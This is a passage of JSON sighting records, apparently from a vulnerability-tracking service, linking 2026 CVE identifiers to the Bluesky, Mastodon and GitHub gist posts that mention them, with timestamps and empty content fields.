"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27175", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mg6o5k3vfw2h", "content": "", "creation_timestamp": "2026-03-03T21:02:58.205709Z"}, {"uuid": "3a2d93b4-9c35-41aa-aaf6-dcbc6eceea5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27516", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfmlqxcvqv2n", "content": "", "creation_timestamp": "2026-02-24T16:32:11.889133Z"}, {"uuid": "c4030f75-3fc5-488e-acd3-2e96e4035df5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27966", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mfq7dgl2ih2o", "content": "", "creation_timestamp": "2026-02-26T03:00:32.177662Z"}, {"uuid": "2a6950da-b5cf-4ce5-82b4-73cc77d8f469", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2770", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfv4ycvd6i2f", "content": "", "creation_timestamp": "2026-02-28T02:01:51.114474Z"}, {"uuid": "8c44ebba-d150-4023-bf8d-c21e500ef7c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27180", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mg6o5kgzx423", "content": "", "creation_timestamp": "2026-03-03T21:02:58.977814Z"}, {"uuid": "16eaa00e-de74-4603-bf27-61d61b160546", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27190", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfdeebfrpv2s", "content": "", "creation_timestamp": "2026-02-21T00:25:51.833000Z"}, {"uuid": "e7bad1d8-0951-4ef8-8030-056daf3e2363", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27519", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfmlr5x6xu2s", "content": "", "creation_timestamp": "2026-02-24T16:32:18.210843Z"}, {"uuid": "1d023b01-c4e5-475b-a614-b221bf32acdb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2771", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfv4ycvd6i2f", "content": "", "creation_timestamp": "2026-02-28T02:01:51.229751Z"}, {"uuid": "c5fc9791-99e1-40e3-bcfd-44c723105551", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27520", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfmlrefav72d", "content": "", "creation_timestamp": "2026-02-24T16:32:25.373762Z"}, {"uuid": "c3b1c3bd-d2d3-4c9d-82e2-bc69d402df94", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27607", "type": "seen", "source": "https://gist.github.com/alon710/a799163ee0d2e212318aa5781377d8b5", "content": "", "creation_timestamp": "2026-02-26T03:10:19.000000Z"}, {"uuid": "7bcd73f4-e6b4-4c2c-9c01-46b9dc5f6c82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27696", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfrttnfwso2m", "content": "", "creation_timestamp": "2026-02-26T18:40:09.825073Z"}, {"uuid": "eecbb5ae-a9e7-4b28-aedd-3935c8ce5643", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2772", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfv4ye2syf2g", "content": "", "creation_timestamp": "2026-02-28T02:01:52.408348Z"}, {"uuid": "ffd447ab-1280-4142-9ac3-8e8384fe1713", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27190", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mg3jg3w6ed2l", "content": "", "creation_timestamp": "2026-03-02T15:00:16.004465Z"}, {"uuid": "24d3e575-5144-41fd-97a1-82c92af19523", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2773", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfv4ye2syf2g", "content": "", "creation_timestamp": "2026-02-28T02:01:52.537852Z"}, {"uuid": "13577cd2-eeda-481d-950a-92bce14053a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27971", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mgiybqb63k2l", "content": "", "creation_timestamp": "2026-03-07T23:30:52.851407Z"}, {"uuid": "b6519c2b-bf95-437f-a64b-62bfc4582774", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27606", "type": "seen", "source": "https://gist.github.com/alon710/df027fa71b827939c4a8376bd84725f1", "content": "", "creation_timestamp": "2026-02-26T03:40:19.000000Z"}, {"uuid": "875bbffd-0312-455b-ae4b-9c5ee7f4a567", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27735", "type": "seen", "source": "https://gist.github.com/alon710/214c51c2b140b0765dc952592c76eb78", "content": "", "creation_timestamp": "2026-02-26T18:40:19.000000Z"}, {"uuid": "def98bee-5d39-4f10-9f9b-7c0f61fb8f70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2774", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfv4ye2syf2g", "content": "", "creation_timestamp": "2026-02-28T02:01:52.700527Z"}, {"uuid": "92967984-f91a-4cd7-aeec-09f8236cd4a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27507", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfmm3dxarr2v", "content": "", "creation_timestamp": "2026-02-24T16:38:00.109740Z"}, {"uuid": "881f5c69-52da-4a44-8576-8a9a325c316f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2775", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfv4ye2syf2g", "content": "", "creation_timestamp": "2026-02-28T02:01:52.812009Z"}, {"uuid": "26a982a3-7685-430a-bb56-3c834e01d3f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27515", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfmm3ketbj2c", "content": "", "creation_timestamp": "2026-02-24T16:38:07.622644Z"}, {"uuid": "52640667-0119-440b-952c-aa4da269712c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27606", "type": "seen", "source": "https://bsky.app/profile/flarestart.bsky.social/post/3mfqcmx7pcq2t", "content": "", "creation_timestamp": "2026-02-26T03:59:32.173900Z"}, {"uuid": "827249ed-06f1-4ff5-aa32-34cd71cd38c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2776", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfv4ye2syf2g", "content": "", "creation_timestamp": "2026-02-28T02:01:52.918516Z"}, {"uuid": "1064d745-eb8a-4737-93b1-86fa181b9e2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27848", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfru7bjisg2k", "content": "", "creation_timestamp": "2026-02-26T18:46:40.598816Z"}, {"uuid": "f742f56a-9523-40b4-8ae5-a1636630637b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2777", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfv4yf4dfo2t", "content": "", "creation_timestamp": "2026-02-28T02:01:54.066425Z"}, {"uuid": "264f920c-eb5f-4abd-b9b2-00ff027f3bb6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2780", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfv4yf4dfo2t", "content": "", "creation_timestamp": "2026-02-28T02:01:54.706735Z"}, {"uuid": "6cf3baa3-7566-44fc-837a-bbf81ec8869e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27606", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mfqcpfwn5m22", "content": "", "creation_timestamp": "2026-02-26T04:01:22.666349Z"}, {"uuid": "75d40f8a-249b-4efd-a167-dfb8b1664145", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27847", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfru7ild2f26", "content": "", "creation_timestamp": "2026-02-26T18:46:47.691012Z"}, {"uuid": "40d91793-6edb-4167-b8db-edc1de7ca634", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2778", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfv4yf4dfo2t", "content": "", "creation_timestamp": "2026-02-28T02:01:54.178979Z"}, {"uuid": "911f74d8-7ab2-4fc5-b05c-26dd8b70be6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2781", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfv4yf4dfo2t", "content": "", "creation_timestamp": "2026-02-28T02:01:54.812480Z"}, {"uuid": "08d62c67-03bb-464d-818e-8c820abca703", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2779", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfv4yf4dfo2t", "content": "", "creation_timestamp": "2026-02-28T02:01:54.568996Z"}, {"uuid": "59551412-109d-4dbf-9afb-70456316e35b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27167", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116160319120160938", "content": "", "creation_timestamp": "2026-03-02T15:36:47.650231Z"}, {"uuid": "bb9a49c2-de1d-46dc-a339-5c51da6ca371", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27520", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfmn5zh4gl2y", "content": "", "creation_timestamp": "2026-02-24T16:57:25.596587Z"}, {"uuid": "839baa6f-4739-4268-8405-86ea9536b6b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27699", "type": "seen", "source": "https://gist.github.com/alon710/a50ab760b1cd61a4ec4a8d15f1b09323", "content": "", "creation_timestamp": "2026-02-26T04:10:19.000000Z"}, {"uuid": "5a542877-6736-4648-99ad-434c4327b0a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2782", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfv4yg5pzm2o", "content": "", "creation_timestamp": "2026-02-28T02:01:55.957486Z"}, {"uuid": "de968dbd-e1c8-4b55-9bf8-b7723f6ee1d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2785", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfv4yg5pzm2o", "content": "", "creation_timestamp": "2026-02-28T02:01:56.300790Z"}, {"uuid": "5cbe3c0e-c063-4400-ad41-48a9a4840982", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27735", "type": "seen", "source": "https://bsky.app/profile/flarestart.bsky.social/post/3mfruobjvi22s", "content": "", "creation_timestamp": "2026-02-26T18:55:03.806949Z"}, {"uuid": "45007d4a-9c00-4544-8002-d4ba43f59ba8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2783", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfv4yg5pzm2o", "content": "", "creation_timestamp": "2026-02-28T02:01:56.066615Z"}, {"uuid": "3579a7be-7d38-4f9c-ba34-25992ccfac30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2786", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfv4yg5pzm2o", "content": "", "creation_timestamp": "2026-02-28T02:01:56.413510Z"}, {"uuid": "220dcbcf-bd5d-44c7-96fb-ed1204effa32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2784", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfv4yg5pzm2o", "content": "", "creation_timestamp": "2026-02-28T02:01:56.195601Z"}, {"uuid": "8f0e5ebd-c057-435c-8c47-b3e8442d52e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27584", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfmnirfijv2o", "content": "", "creation_timestamp": "2026-02-24T17:03:23.577450Z"}, {"uuid": "76749d3a-fd38-426c-aaf1-b6dd67314ab2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27148", "type": "seen", "source": "https://gist.github.com/alon710/09463d4ff783b0368066b3726e657169", "content": "", "creation_timestamp": "2026-02-26T19:10:19.000000Z"}, {"uuid": "890e4d7f-193f-4982-a42a-02bb1aac6f78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2787", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfv4yh74bv2y", "content": "", "creation_timestamp": "2026-02-28T02:01:57.617979Z"}, {"uuid": "927a6552-93ea-4d2f-8e89-0c658f4e5027", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27178", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfdgbrg5gv2m", "content": "", "creation_timestamp": "2026-02-21T01:00:15.159773Z"}, {"uuid": "9bfffae5-eaa7-4b19-a068-3c593f7de636", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2788", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfv4yh74bv2y", "content": "", "creation_timestamp": "2026-02-28T02:01:57.755816Z"}, {"uuid": "6f9bf551-6ce4-43d5-88ca-d3158785e990", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2789", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfv4yh74bv2y", "content": "", "creation_timestamp": "2026-02-28T02:01:57.858865Z"}, {"uuid": "6acbeeb4-2c6d-4bc8-804c-82488d958189", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2790", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfv4yh74bv2y", "content": "", "creation_timestamp": "2026-02-28T02:01:57.961931Z"}, {"uuid": "4abd45c9-0be5-47df-afad-6e00546ada9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2791", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfv4yh74bv2y", "content": "", "creation_timestamp": "2026-02-28T02:01:58.119871Z"}, {"uuid": "ffbf5852-260d-48c1-95bb-1cf489c4c528", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27732", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfmnnnurux2x", "content": "", "creation_timestamp": "2026-02-24T17:06:08.219729Z"}, {"uuid": "7d787094-ba8f-42b7-a231-e5dd86f5795e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2792", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfv4yiaimq2h", "content": "", "creation_timestamp": "2026-02-28T02:01:59.180373Z"}, {"uuid": "90380e0e-d38b-44a5-bfe9-ca9f1a38d48c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27574", "type": "seen", "source": "https://bsky.app/profile/cyberlensai.bsky.social/post/3mfxqtpwwp32f", "content": "", "creation_timestamp": "2026-03-01T03:02:32.232353Z"}, {"uuid": "3e522466-81d8-41a1-b710-b358077e318f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27959", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfqe22kw3c26", "content": "", "creation_timestamp": "2026-02-26T04:24:46.163704Z"}, {"uuid": "4e85773f-d5c5-479e-8728-34bb2c2048ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2793", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mfv4yiaimq2h", "content": "", "creation_timestamp": "2026-02-28T02:01:59.305761Z"}, {"uuid": "e39bce82-cd29-409b-96bd-f62ac58528b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27597", "type": "seen", "source": "https://bsky.app/profile/cyberlensai.bsky.social/post/3mfxqtq7whl2s", "content": "", "creation_timestamp": "2026-03-01T03:02:32.848342Z"}, {"uuid": "229d5572-79b1-406e-98e8-cd05d375a59f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27208", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfmnszvn4m2u", "content": "", "creation_timestamp": "2026-02-24T17:09:08.428637Z"}, {"uuid": "a9c6cc33-b8ca-4410-9422-95acbcd88e41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27961", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfqe2bychd2t", "content": "", "creation_timestamp": "2026-02-26T04:24:53.668845Z"}, {"uuid": "a2d96ccc-861a-4437-971e-e00ed97bf774", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27966", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfv5z3q6uz22", "content": "", "creation_timestamp": "2026-02-28T02:20:09.553329Z"}, {"uuid": "0d830f76-e8a7-4fd5-a074-6e5726b994e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27966", "type": "seen", "source": "https://bsky.app/profile/cyberlensai.bsky.social/post/3mfxqtqs4qk2t", "content": "", "creation_timestamp": "2026-03-01T03:02:33.683073Z"}, {"uuid": "016a6328-6852-41de-a31d-3a90f2011f10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27623", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfkime3b3w2s", "content": "", "creation_timestamp": "2026-02-23T20:30:36.857721Z"}, {"uuid": "80d49c82-5515-4672-8346-cdf91af44201", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27483", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfmnyywy4g2x", "content": "", "creation_timestamp": "2026-02-24T17:12:28.706142Z"}, {"uuid": "7fbe83b3-f7b6-4bdc-a578-9d26892c962f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27969", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mfqeehtgzj22", "content": "", "creation_timestamp": "2026-02-26T04:30:35.408312Z"}, {"uuid": "74b412fc-64c8-43d3-b92c-51817e2e33f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27519", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfmo7pvhit2d", "content": "", "creation_timestamp": "2026-02-24T17:16:14.241458Z"}, {"uuid": "ffa4a18a-1adb-42cf-b7f9-55363fcfc18b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2769", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfmohfhu2t2n", "content": "", "creation_timestamp": "2026-02-24T17:20:31.420203Z"}, {"uuid": "dc4a613a-4f90-4889-a1a6-1ed6eb349260", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27509", "type": "seen", "source": "https://bsky.app/profile/r-netsec-bot.bsky.social/post/3mfrwjim45725", "content": "", "creation_timestamp": "2026-02-26T19:28:10.965484Z"}, {"uuid": "41d9ccd3-100d-4155-827b-f3308784499c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27469", "type": "seen", "source": "https://bsky.app/profile/flarestart.bsky.social/post/3mfmoxivooh2t", "content": "", "creation_timestamp": "2026-02-24T17:29:32.601967Z"}, {"uuid": "a346b8d4-d19b-48b6-aa31-48b20a7c178a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27729", "type": "seen", "source": "https://gist.github.com/alon710/c4c795d4b3dc7802a6d056ea6b479de3", "content": "", "creation_timestamp": "2026-02-26T04:40:19.000000Z"}, {"uuid": "0eec5755-35a2-4ae8-a05f-72e2b2548d86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27510", "type": "seen", "source": "https://bsky.app/profile/r-netsec-bot.bsky.social/post/3mfrwjim45725", "content": "", "creation_timestamp": "2026-02-26T19:28:11.079353Z"}, {"uuid": "a28ce62f-9863-4a02-884c-6c25f45cc6e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27443", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mga2mnheru2n", "content": "", "creation_timestamp": "2026-03-04T10:18:47.426738Z"}, {"uuid": "43d2dae4-1bf5-46be-9a17-e9299f81dec0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27168", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116106384403421171", "content": "", "creation_timestamp": "2026-02-21T03:00:29.313062Z"}, {"uuid": "99ec67aa-b7ae-4d34-afdb-e74e6aef037c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27623", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfkingdasx2c", "content": "", "creation_timestamp": "2026-02-23T20:31:12.192564Z"}, {"uuid": "938be524-aaf9-4a3e-a661-264e85f05997", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27168", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mfdmysmov72e", "content": "", "creation_timestamp": "2026-02-21T03:00:30.933770Z"}, {"uuid": "2f54b2ec-3aac-4d7b-8a53-2d932f118aa9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27469", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mfmp2wq55752", "content": "", "creation_timestamp": "2026-02-24T17:31:32.803421Z"}, {"uuid": "b126ea14-a854-4bf4-a2bd-e9ab34e24e35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27751", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116151828777249716", "content": "", "creation_timestamp": "2026-03-01T03:37:35.018210Z"}, {"uuid": "4ff162ba-7074-4c3c-a20f-b78e9588e637", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27627", "type": "seen", "source": 